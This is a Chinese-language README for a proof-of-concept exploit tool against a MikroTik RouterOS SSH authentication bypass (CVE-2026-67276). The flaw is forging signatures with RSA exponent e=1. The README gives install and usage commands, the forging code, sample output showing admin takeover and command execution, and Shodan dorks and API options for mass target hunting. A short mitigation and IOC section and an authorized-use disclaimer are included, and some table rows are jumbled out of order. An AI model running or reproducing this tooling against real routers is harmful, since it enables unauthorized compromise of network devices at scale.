CVE-2026-67276 MikroTik RouterOS SSH 认证绕过漏洞利用程序
MikroTik RouterOS SSH 公钥认证绕过 - 无需私钥
针对 CVE-2026-67276(MikroTrick)的概念验证利用工具,这是 MikroTik RouterOS SSH 实现中的一个严重认证绕过漏洞,允许攻击者在未持有目标用户私钥的情况下以任意用户身份进行认证。
CVE-2026-67276 是 CERT PL 命名为 "MikroTrick" 的更大攻击链的一部分,该攻击链已被观察到在野外被积极利用:
RouterOS SSH 认证在验证公钥时存在严重缺陷:
{ssh-rsa, e=1, n=受害者模数} 即可使验证变得微不足道标准 RSA 验证: sig^65537 mod n == 预期值 (需要私钥)
被利用的验证: sig^1 mod n == sig (无需私钥!)
当指数 e=1 时,签名验证变为:
sig^1 mod n == sig
这意味着"签名"实际上就是 EMSA-PKCS1-v1_5 编码的消息本身——任何知道受害者公钥模数的人都可以构造。
n(来自 .pub 文件、历史连接等)| 分支 | 受影响范围 | 已修复版本 |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
| 7.x 稳定版 | 7.0 - 7.23.3 |
# 克隆仓库
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# 安装依赖
pip install paramiko cryptography
# 基础利用 - 自动生成密钥,检测版本
python3 full_exploit.py --host 192.168.88.1 --username admin
# 认证后执行命令
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# 自定义端口
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# 如果你拥有受害者的公钥文件
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# 或直接提供模数
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
该工具会自动检测 RouterOS 版本并检查漏洞状态:
# 即使目标不是 MikroTik 或版本未知也强制利用
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host 目标 RouterOS IP/主机名(必填)
--port SSH 端口(默认:22)
--username 目标 RouterOS 用户名(必填)
--pubkey RSA 公钥文件(未提供时自动生成)
--modulus-hex RSA 模数(十六进制)(--pubkey 的替代方案)
--algos 签名算法(默认:ssh-rsa,rsa-sha2-256)
--exec 认证后要执行的命令
--exp-enc 指数编码:canonical(1 字节)或 aligned(3 字节)
--timeout 连接超时时间(默认:15.0 秒)
--skip-version-check 跳过 RouterOS 版本验证
--shodan-dorks 打印 Shodan 搜索语法
--shodan-search 通过 Shodan API 搜索目标
--shodan-key Shodan API 密钥
--shodan-query 自定义 Shodan 查询
--shodan-limit Shodan 结果数量限制(默认:100)
python3 full_exploit.py --shodan-dorks
# 基础搜索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# 自定义查询
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e(公钥指数) <- 攻击者提供 e=1
mpint n(模数) <- 受害者的实际模数
# "签名"实际上就是 EMSA-PKCS1-v1_5 编码的认证数据
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # 当 e=1 时,这就是有效的签名
rsa-sha2-256/512 算法,数据块内部的类型字符串仍保持为 ssh-rsa[*] CVE-2026-67276 MikroTrick 利用工具
[*] 目标:192.168.88.1:22
[*] 正在检测 RouterOS 版本...
[*] SSH 横幅:SSH-2.0-ROSSSH-7.23.3
[*] RouterOS 版本:7.23.3
[+] 版本存在漏洞 - 适用 CVE-2026-67276
[*] 正在生成 2048 位 RSA 密钥对...
[+] 私钥已保存:/path/to/exploit_key
[+] 公钥已保存: /path/to/exploit_key.pub
[*] 模数:2048 位 | 伪造 e=1
[*] 指数编码:canonical(01)
[*] 正在尝试 rsa-sha2-256 ...
[+] 已通过 rsa-sha2-256 以 'admin' 身份完成认证
[+] CVE-2026-67276 已确认 - 目标存在漏洞
--- 命令输出 ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# 检查当前版本
/system resource print
# 升级到已修复版本
/system package update download
/system reboot
最低安全版本:
/ip service disable ssh
# 按 IP 地址限制
/ip service set ssh address=192.168.88.0/24
# 防火墙规则
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# 检查可疑用户
/user print
# 检查 "ops" 用户(已知的攻击者入侵指标)
/user print where name=ops
# 检查设备标记状态
/system/device-mode/print
# 检查日志
/log print where topics~"ssh"
已知入侵指标(IOC):
login failure for user -2 via sshops82.192.72.4、103.102.31.18⚠️ 本工具仅用于授权的安全测试和教育目的。
MIT 许可证 - 详情请参阅 LICENSE。
安全研究 PoC - CVE-2026-67276 实验室实现
如果您觉得本工具实用,请为本仓库点个 Star!
| 详情 | 信息 |
|---|
| CVE ID | CVE-2026-67276 |
| 严重程度 | 严重(CVSS 9.8) |
| CWE | CWE-347(加密签名验证不当) |
| 攻击向量 | 网络 |
| 认证要求 | 无 |
| 攻击复杂度 | 低 |
| 影响 | 设备完全沦陷 |
| CVE | 类型 | 描述 |
|---|
| CVE-2026-67276 | 认证绕过 | 通过指数伪造实现 SSH 公钥认证绕过 |
| CVE-2026-86060 | 权限提升 | 通过用户名进行参数注入 |
| CVE-2026-67279 | 认证绕过 | 未完成用户认证即可建立 SSH 连接 |
| CVE-2026-67277 | 信息泄露 | 通过带宽测试导致内核内存泄漏 |
| CVE-2026-67278 | 签名绕过 | 接受格式错误的 X.509 签名 |
| CVE-2026-67281 | 文件读取 | 通过 jsproxy 实现 WebFig 根目录文件读取 |
| 7.23.4+ |
| 7.x 测试版 | 7.24.0 - 7.24.1 | 7.24.2+ |
| 目标 | 查询 |
|---|
| 所有 MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| 暴露的 Winbox | port:8291 |
| WebFig 面板 | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| 按国家 | MikroTik country:US |
| 漏洞提示 | MikroTik ("6.49" OR "7.23" OR "7.24.0") |